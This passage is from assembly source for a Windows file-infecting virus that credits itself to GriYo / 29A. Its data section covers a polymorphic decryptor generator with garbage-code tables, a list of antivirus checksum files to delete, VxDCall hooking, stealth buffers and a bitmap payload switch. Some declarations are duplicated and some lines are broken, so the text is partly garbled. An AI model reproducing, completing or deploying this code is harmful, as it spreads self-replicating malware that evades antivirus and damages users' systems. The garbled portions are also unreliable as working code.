dd offset ii_not_reg
dd offset ii_add_reg
dd offset ii_sub_reg
dd offset ii_xor_reg
;Opcodes for math reg,imm
tbl_math_imm equ this byte
db 0C0h ;add
db 0C8h ;or
db 0E0h ;and
db 0E8h ;sub
db 0F0h ;xor
db 0D0h ;adc
db 0D8h ;sbb
end_math_imm equ this byte
;Magic aliases
MAGIC_PUTKEY equ 01h
MAGIC_PUTDISP equ 02h
MAGIC_ENDSTR equ 0FFh
MAGIC_ENDKEY equ 0FEh
MAGIC_CAREEBP equ 00h
MAGIC_NOTEBP equ 0FFh
;Magic data
xx_inc_reg db 0FEh
db MAGIC_CAREEBP
db 00h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
xx_dec_reg db 0FEh
db MAGIC_CAREEBP
db 08h
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
xx_not_reg db 0F6h
db MAGIC_CAREEBP
db 10h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
xx_add_reg db 80h
db MAGIC_CAREEBP
db 00h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
xx_sub_reg db 80h
db MAGIC_CAREEBP
db 28h
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
xx_xor_reg db 80h
db MAGIC_CAREEBP
db 30h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
yy_inc_reg db 0FEh
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
yy_dec_reg db 0FEh
db MAGIC_NOTEBP
db 88h
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
yy_not_reg db 0F6h
db MAGIC_NOTEBP
db 90h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
yy_add_reg db 80h
db MAGIC_NOTEBP
db 80h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
yy_sub_reg db 80h
db MAGIC_NOTEBP
db 0A8h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
yy_xor_reg db 80h
db MAGIC_NOTEBP
db 0B0h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
zz_inc_reg db 0FEh
db MAGIC_CAREEBP
db 04h
db 00h
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
zz_dec_reg db 0FEh
db MAGIC_CAREEBP
db 0Ch
db 00h
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
zz_not_reg db 0F6h
db MAGIC_CAREEBP
db 14h
db 00h
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
zz_add_reg db 80h
db MAGIC_CAREEBP
db 04h
db MAGIC_PUTKEY
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
zz_sub_reg db 80h
db MAGIC_CAREEBP
db 2Ch
db MAGIC_PUTKEY
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
zz_xor_reg db 80h
db MAGIC_CAREEBP
db 34h
db MAGIC_PUTKEY
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
ii_inc_reg db 0FEh
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTDISP
dd offset x_inc_reg_byte
dd offset x_inc_reg_word
dd offset x_inc_reg_dword
ii_dec_reg db 0FEh
db MAGIC_NOTEBP
db 8Ch
db MAGIC_PUTDISP
dd offset x_dec_reg_byte
dd offset x_dec_reg_word
dd offset x_dec_reg_dword
ii_not_reg db 0F6h
db MAGIC_NOTEBP
db 94h
db MAGIC_PUTDISP
dd offset x_not_reg_byte
dd offset x_not_reg_word
dd offset x_not_reg_dword
ii_add_reg db 80h
db MAGIC_NOTEBP
db 84h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_add_reg_byte
dd offset x_add_reg_word
dd offset x_add_reg_dword
ii_sub_reg db 80h
db MAGIC_NOTEBP
db 0ACh
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_sub_reg_byte
dd offset x_sub_reg_word
dd offset x_sub_reg_dword
ii_xor_reg db 80h
db MAGIC_NOTEBP
db 0B4h
db MAGIC_PUTKEY or MAGIC_PUTDISP
dd offset x_xor_reg_byte
dd offset x_xor_reg_word
dd offset x_xor_reg_dword
;Reverse-code strings
x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR
x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR
x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR
x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR
x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR
x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR
x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR
x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR
x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR
x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY
x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY
x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY
x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY
x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY
x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY
x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY
x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY
x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY
style_table equ this byte
dd offset gen_get_delta
dd 00000000h
dd offset gen_load_ctr
dd 00000000h
dd offset gen_decrypt
dd 00000000h
dd offset gen_next_step
dd 00000000h
dd offset gen_next_ctr
dd 00000000h
;Garbage code generators
tbl_garbage equ this byte
dd offset gen_save_code ;clc stc cmc cld std
dd offset g_movreg32imm ;mov reg32,imm
dd offset g_movreg16imm ;mov reg16,imm
dd offset g_movreg8imm ;mov reg8,imm
dd offset g_movregreg32 ;mov reg32,reg32
dd offset g_movregreg16 ;mov reg16,reg16
dd offset g_movregreg8 ;mov reg8,reg8
dd offset g_mathregimm32 ;math reg32,imm
dd offset g_mathregimm16 ;math reg16,imm
dd offset g_mathregimm8 ;math reg8,imm
dd offset g_push_g_pop ;push reg/garbage/pop
reg
dd offset g_call_cont ;call/garbage/pop
dd offset g_jump_u ;jump/rnd block
dd offset g_jump_c ;jump
conditional/garbage
dd offset g_movzx_movsx ;movzx/movsx reg32,
end_garbage equ this byte
szKernel32 db "KERNEL32.dll",00h ;Used for kernel scanning
rnd32_seed dd 00000000h ;Seed for random number
del_fileptr dd offset szAvData_00 ;Filenames to delete
dd offset szAvData_01
dd offset szAvData_02
dd offset szAvData_03
szAvData_00 db "ANTI-VIR.DAT",00h ;Thunderbyte
szAvData_01 db "CHKLIST.MS",00h ;MsAv
szAvData_02 db "AVP.CRC",00h ;Avp
szAvData_03 db "IVB.NTZ",00h ;Invircible
szAuth db " <
Hantavirus Pulmonary Syndrome (HPS) "
db "Virus BioCoded by GriYo / 29A >
",00h
align dword
inf_end equ this byte
ptr_disp dd 00000000h ;Displacement from index
disp2disp dd 00000000h ;Displacement over displacement
end_value dd 00000000h ;Index end value
delta_call dd 00000000h ;Used into delta_offset routines
loop_point dd 00000000h ;Start address of decryption loop
entry_point dd 00000000h ;Entry point to decryptor code
decryptor_size dd 00000000h ;Size of generated decryptor
crypt_key dd 00000000h ;Encryption key
oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword)
index_mask db 00h ;Mask of register used as index
counter_mask db 00h ;Mask of register used as counter
build_flags db 00h ;Some decryptor flags
recursive_level db 00h ;Garbage recursive layer
;Decryptor flags aliases
CRYPT_DIRECTION equ 01h
CRYPT_CMPCTR equ 02h
CRYPT_CDIR equ 04h
CRYPT_SIMPLEX equ 10h
CRYPT_COMPLEX equ 20h
;Virus uninitialized data
scan_addr dd 00000000h ;Current memory address for our
scanner
a_VxDCall dd 00000000h ;VxDCall function entry-point
hook_status dd 00000000h ;Flag to prevent reentrancy
file_attrib dd 00000000h ;Original file attributes
file_time dd 00000000h ;Original file time
file_date dd 00000000h ;Original file date
ptr_filename dd 00000000h ;Path end, filename start
last_checksum dd 00000000h ;Checksum of filename
padding_block dd 00000000h ;Numbers of bytes written for size
padding
mem_address dd 00000000h ;Virus position in memory
bmp_address dd 00000000h ;Storage for .BMP handling rotuines
bmp_active dd 00000000h ;Payload switch
bmp_pages dd 00000000h ;Size of bitmap in pages
VxDCall_code db 06h dup (00h) ;16:32 ptr to VxDCall
target_filename db MAX_PATH dup (00h) ;Filename to infect
stealth_this dd 00000000h ;Bytes written to file
msdos_header db IMAGE_SIZEOF_DOS_HEADER / ;MsDos header
dup (00h)
pe_signature dd 00000000h ;This holds the PE
pe_header db IMAGE_SIZEOF_FILE_HEADER / ;Here comes the PE
dup (00h)
optional_header db IMAGE_SIZEOF_NT_OPTIONAL_HEADER /
dup (00h) ;Holds the optional
section_header db IMAGE_SIZEOF_SECTION_HEADER /;Section header of
dup (00h) ;section in file
pe_signature dd 00000000h ;This holds the PE
pe_header db IMAGE_SIZEOF_FILE_HEADER / ;Here comes the PE
dup (00h)
optional_header db IMAGE_SIZEOF_NT_OPTIONAL_HEADER /
dup (00h) ;Holds the optional
section_header db IMAGE_SIZEOF_SECTION_HEADER /;Section header of
dup (00h) ;section in file
mem_end equ this byte ;
end of virus portable
virus_copy db inf_size dup (00h) ;Virus copy for
poly_max_size equ 1000h ;Buffer size
poly_buffer db poly_max_size dup (00h) ;Buffer for poly
virseg ends
end host_entry